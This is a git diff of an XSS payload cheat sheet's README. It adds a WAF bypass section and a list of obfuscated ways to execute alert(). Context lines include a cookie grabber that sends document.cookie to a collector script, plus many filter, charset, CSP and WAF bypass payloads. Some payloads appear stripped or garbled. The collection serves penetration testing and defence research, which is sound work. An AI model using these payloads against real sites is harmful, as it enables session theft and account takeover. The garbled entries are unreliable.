diff --git a/XSS injection/README.md b/XSS injection/README.md index 39897b3..59ff094 100644 --- a/XSS injection/README.md +++ b/XSS injection/README.md @@ -8,11 +8,12 @@ Cross-site scripting (XSS) is a type of computer security vulnerability typicall - [XSS in files](#xss-in-files) - [Polyglot XSS](#polyglot-xss) - [Filter Bypass and Exotic payloads](#filter-bypass-and-exotic-payloads) + - [Common WAF Bypas](#common-waf-bypass) ## Exploit code or POC Cookie grabber for XSS -``` +```php document.location='http://localhost/XSS/grabber.php?c=' + document.cookie @@ -27,7 +28,7 @@ fclose($fp); ``` Keylogger for XSS -``` +```html ``` @@ -41,13 +42,13 @@ More exploits at [http://www.xss-payloads.com/payloads-list.html?a#category=all] ## Identify an XSS endpoint -``` +```javascript ``` ## XSS in HTML/Applications XSS Basic -``` +```javascript Basic payload ipt>alert('XSS')ipt> @@ -74,7 +75,7 @@ Svg payload ``` XSS for HTML5 -``` +```javascript
*/alert()/* javascript://-->"/*/a javascript://"/*// @@ -306,11 +307,11 @@ javascript://-->'"/> ``` ![https://pbs.twimg.com/media/DWfIizMVwAE2b0g.jpg:large](https://pbs.twimg.com/media/DWfIizMVwAE2b0g.jpg:large) -``` +```javascript alert(1) ``` Bypass tag blacklist -``` +```javascript ``` Bypass quotes in mousedown event -``` +```javascript Link You can bypass a single quote with ' in an on mousedown event handler ``` Bypass dot filter -``` +```javascript ``` Bypass using javascript inside a string -``` +```javascript "; @@ -413,7 +426,7 @@ foo="text "; Bypass using an alternate way to execute an alert - [@brutelogic](https://twitter.com/brutelogic/status/965642032424407040) -``` +```javascript window['alert'](0) parent['alert'](1) self['alert'](2) @@ -430,8 +443,32 @@ content['alert'](6) [12].forEach(alert); ``` -Bypass using an alternate way to trigger an alert +Bypass using an alternate way to execute an alert - [@404death](https://twitter.com/404death/status/1011860096685502464) +```javascript +eval('ale'+'rt(0)'); +Function("ale"+"rt(1)")(); +new Function`al\ert\`6\``; + +constructor.constructor("aler"+"t(3)")(); +[].filter.constructor('ale'+'rt(4)')(); + +top["al"+"ert"](5); +top[8680439..toString(30)](7); +top[/al/.source+/ert/.source](8); +top['al\x65rt'](9); + +open('java'+'script:ale'+'rt(11)'); +location='javascript:ale'+'rt(12)'; + +setTimeout('ale'+'rt(2)'); +setInterval('ale'+'rt(10)'); +Set.constructor('ale'+'rt(13)')(); +Set.constructor`al\x65rt\x2814\x29```; ``` + + +Bypass using an alternate way to trigger an alert +```javascript var i = document.createElement("iframe"); i.onload = function(){ i.contentWindow.alert(1); @@ -452,12 +489,12 @@ XSSObject.proxy(window, 'alert', 'window.alert', false); ``` Bypass ">" using nothing #trololo (you don't need to close your tags) -``` +```javascript i ı (%c4%b1).toUpperCase() => I ſ (%c5%bf) .toUpperCase() => S @@ -528,7 +565,7 @@ Bypass using Unicode converted to uppercase ``` Bypass using overlong UTF-8 -``` +```javascript < = %C0%BC = %E0%80%BC = %F0%80%80%BC > = %C0%BE = %E0%80%BE = %F0%80%80%BE ' = %C0%A7 = %E0%80%A7 = %F0%80%80%A7 @@ -538,24 +575,24 @@ Bypass using overlong UTF-8 ``` Bypass using UTF-7 -``` +```javascript +ADw-img src=+ACI-1+ACI- onerror=+ACI-alert(1)+ACI- /+AD4- ``` Bypass using UTF-16be -``` +```javascript %00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E%00 \x00<\x00s\x00v\x00g\x00/\x00o\x00n\x00l\x00o\x00a\x00d\x00=\x00a\x00l\x00e\x00r\x00t\x00(\x00)\x00> ``` Bypass using UTF-32 -``` +```js %00%00%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E ``` Bypass using BOM - Byte Order Mark (The page must begin with the BOM character.) BOM character allows you to override charset of the page -``` +```js BOM Character for UTF-16 Encoding: Big Endian : 0xFE 0xFF Little Endian : 0xFF 0xFE @@ -569,7 +606,7 @@ XSS : %00%00%fe%ff%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o Bypass CSP using JSONP from Google (Trick by [@apfeifer27](https://twitter.com/apfeifer27)) //google.com/complete/search?client=chrome&jsonp=alert(1); -``` +```js @@ -597,13 +634,20 @@ Exotic payloads ``` -## Incapsula WAF Bypass - 8th march -``` +## Common WAF Bypass + +### Incapsula WAF Bypass - 8th march +```javascript anythinglr00uxldz anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz ``` +### Akamai WAF bypass by @zseano - 18th june +```javascript +?"> +``` + ## More fun ? This section will be used for the "fun/interesting/useless" stuff.